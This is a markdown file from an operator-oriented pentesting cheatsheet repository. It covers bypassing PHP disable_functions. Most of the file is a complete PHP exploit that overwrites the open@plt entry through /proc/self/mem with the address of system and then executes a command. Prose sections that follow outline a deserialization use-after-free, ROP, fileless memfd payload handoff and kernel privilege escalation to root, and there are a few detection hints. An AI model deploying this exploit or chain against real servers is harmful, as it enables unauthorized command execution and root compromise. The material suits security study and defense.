daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-via-mem.md (10553B)


      1 ---
      2 title: "disablefunctions Bypass via /proc/self/mem"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # `disable_functions` Bypass via `/proc/self/mem`
     14 
     15 This historical x86-64 Linux technique parses the PHP executable and its loaded libc, finds the `open` relocation, and rewrites that process-memory slot with the address of `system`. A later call such as `readfile('/usr/bin/id')` then reaches `system('/usr/bin/id')` instead of `open`. The original exploit and its assumptions are preserved below.<sup>[[1]](#references)</sup>
     16 
     17 The technique is highly build-dependent. It expects Linux 2.6.39 or later (the upstream README's `2.98` is a typo), a writable `/proc/self/mem`, readable `/proc/self/maps`, an x86-64 ELF layout compatible with this parser, a suitable non-PIE/relocation address, compatible libc symbol names, and no effective `open_basedir` restriction on the required paths. PHP-CGI/PHP-FPM was the intended target; modern kernels, distributions, hardening, PIE/full RELRO, containers, SELinux/AppArmor, or a different SAPI can break it.<sup>[[1]](#references)[[2]](#references)</sup>
     18 
     19 ```php
     20 <?php
     21 /*
     22 1. Linux kernel >= 2.6.39 (the original README says 2.98)
     23 2. PHP-CGI or PHP-FPM; the original author notes that modern mod_php setups
     24    may not retain the required /proc/self/mem access
     25 3. Written for x86-64; offsets and ELF parsing need changes for 32-bit
     26 4. open_basedir=Off, or access to the required /lib and /proc paths
     27 */
     28 /*
     29 $libc_ver:
     30 beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
     31 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
     32 $open_php:
     33 beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
     34 0000000000e94998 R_X86_64_JUMP_SLOT  open
     35 $system_offset and $open_offset:
     36 beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
     37   1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
     38   1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
     39 */
     40 function packlli($value) {
     41     $higher = ($value & 0xffffffff00000000) >> 32;
     42     $lower = $value & 0x00000000ffffffff;
     43     return pack('V2', $lower, $higher);
     44 }
     45 function unp($value) {
     46     return hexdec(bin2hex(strrev($value)));
     47 }
     48 function parseelf($bin_ver, $rela = false) {
     49     $bin = file_get_contents($bin_ver);
     50     $e_shoff = unp(substr($bin, 0x28, 8));
     51     $e_shentsize = unp(substr($bin, 0x3a, 2));
     52     $e_shnum = unp(substr($bin, 0x3c, 2));
     53     $e_shstrndx = unp(substr($bin, 0x3e, 2));
     54     for($i = 0; $i < $e_shnum; $i += 1) {
     55         $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
     56         if($sh_type == 11) { // SHT_DYNSYM
     57             $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
     58             $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
     59             $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
     60         }
     61         elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
     62             $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
     63             $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
     64         }
     65         elseif($rela && $sh_type == 4) { // SHT_RELA
     66             $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
     67             $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
     68             $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
     69         }
     70     }
     71     if($rela) {
     72         for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
     73             $r_offset = unp(substr($bin, $i, 8));
     74             $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
     75             $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
     76             $name = '';
     77             $j = $strtab_off + $name_off - 1;
     78             while($bin[++$j] != "\0") {
     79                 $name .= $bin[$j];
     80             }
     81             if($name == 'open') {
     82                 return $r_offset;
     83             }
     84         }
     85     }
     86     else {
     87         for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
     88             $name_off = unp(substr($bin, $i, 4));
     89             $name = '';
     90             $j = $strtab_off + $name_off - 1;
     91             while($bin[++$j] != "\0") {
     92                 $name .= $bin[$j];
     93             }
     94             if($name == '__libc_system') {
     95                 $system_offset = unp(substr($bin, $i + 8, 8));
     96             }
     97             if($name == '__open') {
     98                 $open_offset = unp(substr($bin, $i + 8, 8));
     99             }
    100         }
    101         return array($system_offset, $open_offset);
    102     }
    103 }
    104 echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
    105 if(strpos(php_uname('a'), 'x86_64') === false) {
    106     echo "[-] This exploit is for x64 Linux. Exiting\n";
    107     exit;
    108 }
    109 if(version_compare(preg_replace('/-.*/', '', php_uname('r')), '2.6.39', '<')) {
    110     echo "[-] Kernel predates 2.6.39. This technique will not work\n";
    111 }
    112 echo "[*] Trying to get open@plt offset in PHP binary\n";
    113 $open_php = parseelf('/proc/self/exe', true);
    114 if($open_php == 0) {
    115     echo "[-] Failed. Exiting\n";
    116     exit;
    117 }
    118 echo '[+] Offset is 0x' . dechex($open_php) . "\n";
    119 $maps = file_get_contents('/proc/self/maps');
    120 preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
    121 echo "[*] Libc location: $r[1]\n";
    122 echo "[*] Trying to get open and system symbols from Libc\n";
    123 list($system_offset, $open_offset) = parseelf($r[1]);
    124 if($system_offset == 0 or $open_offset == 0) {
    125     echo "[-] Failed. Exiting\n";
    126     exit;
    127 }
    128 echo "[+] Got them. Seeking for address in memory\n";
    129 $mem = fopen('/proc/self/mem', 'rb');
    130 fseek($mem, $open_php);
    131 $open_addr = unp(fread($mem, 8));
    132 echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
    133 $libc_start = $open_addr - $open_offset;
    134 $system_addr = $libc_start + $system_offset;
    135 echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
    136 echo "[*] Rewriting open@plt address\n";
    137 $mem = fopen('/proc/self/mem', 'wb');
    138 fseek($mem, $open_php);
    139 if(fwrite($mem, packlli($system_addr))) {
    140     echo "[+] Address written. Executing cmd\n";
    141     readfile('/usr/bin/id');
    142     exit;
    143 }
    144 echo "[-] Write failed. Exiting\n";
    145 ```
    146 
    147 ## Modern variant: engine-memory bug to native code
    148 
    149 A stronger pattern is to first turn constrained PHP execution into an arbitrary-read primitive inside the PHP process itself. In the wp2root chain this is done with a legacy `Serializable` recursion UAF: inner and outer `unserialize()` operations share one reference table, a property-table resize frees buckets still referenced by the outer parser, and sprayed strings turn those stale references into attacker-controlled fake `zval` data. Reinterpreting the forged `zval` as a string yields arbitrary process-memory reads. For application-level gadget chains, see [PHP - Deserialization + Autoload Classes](/hacktricks/pentesting-web/deserialization/php-deserialization-autoload-classes).<sup>[[3]](#references)[[4]](#references)</sup>
    150 
    151 Once arbitrary read exists, `disable_functions` stops being a boundary: the PHP-visible `system()` name may be gone, but the native handler is still resident in the worker and can be recovered from live memory and called directly. This is useful after any bug that grants PHP code execution, not only WordPress.<sup>[[3]](#references)[[4]](#references)</sup>
    152 
    153 ## Self-resolving ROP from live PHP
    154 
    155 Instead of relying on fixed offsets, leak any code pointer inside the loaded PHP image, walk backwards to the ELF base, parse the in-memory image, and resolve gadgets/functions dynamically. In the published chain, fake HashTable or array-destruction metadata is used as the control-transfer point: when PHP frees the forged array, cleanup pivots the stack to attacker data, runs a ROP chain, marks a payload buffer executable, and jumps into a PIC launcher. This adapts to ASLR and differing PHP builds. For generic ROP mechanics, see [ROP & JOP](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/rop-return-oriented-programing/README.md).<sup>[[3]](#references)[[4]](#references)</sup>
    156 
    157 ## Fileless helper handoff
    158 
    159 A practical post-exploitation follow-on is to keep the native payload fileless: `memfd_create("php-helper", 0)` -> `dup2(fd, 197)` -> write helper ELF -> `execveat(197, "", argv, NULL, AT_EMPTY_PATH)`. Leaving the memfd without close-on-exec preserves fd `197` across later `execve` transitions, so both the unprivileged launcher and any later privileged stub can re-enter the same in-memory helper without writing an executable to disk.<sup>[[3]](#references)[[4]](#references)</sup>
    160 
    161 ## Root follow-on and hunting
    162 
    163 After native execution, any local privilege escalation can be chained in. One public path keeps the helper in the memfd and uses [Copy Fail](/hacktricks/linux-hardening/main-system-information/kernel-lpe-cves/copy-fail-af-alg-splice-page-cache-overwrite-cve-2026-31431) to replace the page-cached image of `/usr/bin/su`; executing `su` then runs attacker code as root while the on-disk binary remains unchanged. Useful detection points are web/PHP workers opening `/proc/self/mem`, `memfd_create`, `dup2` pinning a high FD such as `197`, `execveat(..., AT_EMPTY_PATH)`, and unexpected execution of setuid binaries from a web worker context.<sup>[[3]](#references)[[4]](#references)</sup>
    164 
    165 ## References
    166 
    167 - [1] [beched/php_disable_functions_bypass - procfs-based PHP sandbox bypass](https://github.com/beched/php_disable_functions_bypass)
    168 - [2] [Linux kernel documentation - `/proc` process files and access controls](https://www.kernel.org/doc/html/latest/filesystems/proc.html)
    169 - [3] [Calif: The WordPress Chain Massacre: From Constrained PHP Execution to Linux Root](https://blog.calif.io/p/the-wordpress-chain-massacre)
    170 - [4] [Calif wp2root full-chain write-up](https://github.com/califio/publications/blob/main/MADBugs/wp2root/writeups/FULL_CHAIN_WRITEUP.md)